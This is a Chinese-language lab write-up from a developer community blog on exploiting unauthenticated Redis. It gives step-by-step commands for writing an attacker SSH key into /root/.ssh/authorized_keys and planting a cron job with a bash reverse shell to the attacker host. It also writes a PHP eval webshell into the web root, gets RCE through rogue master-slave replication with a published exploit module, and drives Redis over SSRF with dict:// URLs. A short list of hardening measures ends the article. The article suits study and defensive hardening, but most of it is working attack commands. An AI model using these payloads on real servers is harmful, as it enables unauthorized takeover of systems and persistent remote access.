前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞复现 -- Redis漏洞总结

漏洞复现 -- Redis漏洞总结

原创
作者头像
Gh0st1nTheShel
修改2022-01-23 14:33:06
2.2K0
修改2022-01-23 14:33:06
举报
文章被收录于专栏:网络空间安全网络空间安全

欢迎关注我的微信公众号《壳中之魂》,查看更多网安文章

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API

环境搭建

安装步骤参考:Redis未授权访问漏洞的重现与利用 - FreeBuf网络安全行业门户

操作系统:ubuntu20.4

首先先选择一个合适的版本,然后下载压缩包(这里建议选择5.01,我这一开始下成3.2.11了,后面改成的5.01,所以截图不太一样)

代码语言:javascript
复制
wget http://download.redis.io/releases/redis-5.0.1.tar.gz 

解压到文件夹后,进入解压的目录redis-3.2.11,使用

代码语言:javascript
复制
make 

make完后,进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(样启动redis-server和redis-cli就不用每次都进入安装目录了)

返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下:

然后编辑etc目录下的redis.conf文件

代码语言:javascript
复制
sudo gedit /etc/redis.conf 

首先将ip绑定去掉

关闭保护模式,允许远程连接redis服务

最后使用/etc/目录下的reids.conf文件中的配置启动redis服务:

代码语言:javascript
复制
redis-server /etc/redis.conf 

注意:还需要检测是否关闭了防火墙

查询是否开启防火墙

代码语言:javascript
复制
sudo ufw status 

显示不活动即为关闭

使用命令关闭

代码语言:javascript
复制
sudo ufw disable 

然后再安装ssh服务

代码语言:javascript
复制
dpkg -l | grep ssh //查看是否安装了ssh服务,默认只安装了ssh-client服务。
sudo apt-get install openssh-server
dpkg -l | grep ssh
ps -e | grep ssh //查看服务是否开启

环境

目标机器:

ubuntu20 192.168.200.38

攻击机:

kali 192.168.200.4

win7 192.168.200.17

简介

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

无凭证ssh连接

SSH提供两种登录验证方式,一种是口令验证,另一种是密钥验证。

口令认证也就是账号密码认证,密钥认证就是我们目标的免密码登录

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密

1.客户端生成私钥和公钥,并把公钥拷贝给服务器端;

2.客户端发起登录请求,发送自己的相关信息;

3.服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;

4.客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;

5.服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

先决条件

6.Redis服务使用ROOT账号启动(如果不以root权限执行,将会导致后面命令执行失败)

7.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

攻击

在攻击机本地生成公钥文件

获取rsa

ssh-keygen -t rsa

设置为无密码

需要为我们的公钥文件设置一个私钥

公钥文件默认路径:/root/.ssh/id_rsa.pub(除非生成时自己手动修改了存储地址)

查看公钥的内容

代码语言:javascript
复制
cat id_rsa.pub 

然后通过redis无密码访问目标机器

代码语言:javascript
复制
redis-cli -h 192.168.200.38 

然后我们会进入一个命令行

代码语言:javascript
复制
config get dir                  #检查当前保存路径
config get dbfilename              #检查保存文件名
config set dir /root/.ssh/         #设置保存路径
config set dbfilename authorized_keys #设置保存文件名 
代码语言:javascript
复制
set g1ts "\n\n\n 公钥 \n\n\n" #将公钥写入g1ts健
save #进行保存 

然后进行ssh远程连接

代码语言:javascript
复制
ssh -i /root/桌面/others/id_rsa root@192.168.200.38 

可以发现无密码直接远程连接了ubuntu

计划任务(ubuntu系统可能不能使用)

条件:

  • root启用Redis

攻击

首先先连接redis,然后清楚所有的键值

代码语言:javascript
复制
redis-cli -h 192.168.200.38 flushall 
代码语言:javascript
复制
config set dir /var/spool/cron/crontabs/  #设置保存路径(写在计划任务储存的文件夹)
config set dbfilename g1ts               #设置保存名称

然后我们就可以写入执行的命令,可以用来反弹shell,不过在那之前首先先在kali设置监听

代码语言:javascript
复制
nc -lvp 6666 

然后写入反弹语句,由于是计划任务,所以要设置时间

crontab时间格式:crontab用法与实例 | 《Linux就该这么学》 (linuxprobe.com)

代码语言:javascript
复制
set g1ts "\n* * * * * * bash -i >& /dev/tcp/192.168.200.4/6666 0>&1\n"
save 

然后命令就会执行

但是似乎是应为我是ubuntu系统的原因,redis创建的计划任务执行失败,查看一下日志,发现是创建的文件权限不够

系统需要600的权限(应该就是读写的权限),但是目前只有只读的文件,我查阅了资料,但是也没有发现如何创建一个600权限的计划任务,所以如果目标是ubuntu系统的话可能此方法不能够执行成功

更多问题可以参考:解决ubuntu crontab反弹shell失败的问题 · 大专栏 (dazhuanlan.com)

写入shell

先决条件:

  • root权限启动redis
  • 需要知道绝对路径
  • 具有文件读写增删改查权限
代码语言:javascript
复制
redis-cli -h 192.168.200.38     #连接Redis
config set dir /var/www/html    #设置要写入shell的路径
config set dbfilename shell.php
set g1ts "\n\n\n<?php @eval($_GET("hack"))?>\n\n\n"         #写入一句话木马到g1ts键
save

Redis主从复制getshell

主从模式为使用两台redis,一台为主机,一台为从机;一台负责读,一台负责写,主机和从机的数据是一模一样的,使用主从模式的原因是redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担,使用主从模式的读写分离可以缓解服务器上的流量压力,算是一种通过牺牲空间来换取效率的缓解方式。

漏洞成因:

Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)

先决条件:

  • Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
  • root权限启动redis

环境搭建

首先先设置主从模式,将kali设置为主机

代码语言:javascript
复制
redis-cli -h 192.168.200.38
slaveof 192.168.200.4 6379

攻击

首先下载恶意代码

下载地址:n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

可以下载下来本地编译,也可以使用作者编译好的exp.so

有两种模式,一种是交互式shell,一种是反弹shell

代码语言:javascript
复制
python3 ./redis-rogue-server.py --rhost 192.168.200.38 --lhost 192.168.200.4 --exp ./exp.so 

输入i进入交互式shell

但是在我测试的时候,使用ifconfig命令会导致shell退出,使用一些命令也会有几率导致退出

输入r进行反弹shell,在此之前需要先设置监听

代码语言:javascript
复制
nc -lvp 6666 

然后输入r进行反弹,在输入反弹的ip和端口

通过redisSSRF

先决条件:

代码语言:javascript
复制
root启用redis
目标机存在dict协议
知道网站绝对路径

假设可以导致ssr的文件为ssrf.php,我们可以使用以下命令

代码语言:javascript
复制
ssrf.php?var=dict://192.168.200.38:6379/flushall 

当然我们也可以通过设置键来写入shell,不过写入时推荐使用主从复制写入,而不采用直接写入,因为可能会写入不进去

首先先设置主从关系

设置kali为主机

代码语言:javascript
复制
ssrf.php?url=dict://192.168.200.38:6379/slaveof:192.168.200.4:6379 

设置保存目录

代码语言:javascript
复制
ssrf.php?url=dict://192.168.200.38:6379/config:set:dir:/var/www/html 

设置保存文件名称

代码语言:javascript
复制
ssrf.php?url=dict://192.168.200.38:6379/config:set:dbfilename:shell.php 

进入kali,写文件

代码语言:javascript
复制
redis-cli
set g1ts "\n\n\n<?php phpinfo() ;?>\n\n\n" 

然后再保存

代码语言:javascript
复制
ssrf.php?url=dict://192.168.200.38:6379/save 

切断主从复制

代码语言:javascript
复制
ssrf.php?url=dict://192.168.200.38:6379/slaveof:no:one 

防御措施

1.禁止监听在公网地址

将 Redis监听在 0.0.0.0 是十分危险的,所以需要修改 Redis 监听端口,在 Redis 的配置文件 redis.conf 中进行设置,找到包含 bind 的行,将默认的 bind 0.0.0.0 改为内网IP,然后重启Redis

2.修改默认监听的端口

Redis默认监听端口为6379 ,为了更好的隐蔽服务,可以在redis.conf中修改Redis的监听端口,将默认端口6379改为其他的端口

3.开启 Redis 安全认证并设置复杂的密码

为了防止 Redis 未授权访问攻击以及对 Redis 密码的爆破,可以在 redis.conf 配置文件中,通过 requirepass 选项开启密码认证并设置强密码

4.禁止使用 root 权限启动

使用 Root 权限去运行网络服务是比较有风险的,所以不建议使用 Root 权限的任何用户启动 Redis。加固建议如: useradd -s /sbin/nolog -M redis sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf

5.设置Redis配置文件的访问权限

因为 Redis 的明文密码可能会存储在配置文件中,所以必须禁止不相关的用户访问配置文件

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 无凭证ssh连接
  • 计划任务(ubuntu系统可能不能使用)
  • 写入shell
  • Redis主从复制getshell
  • 通过redisSSRF
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档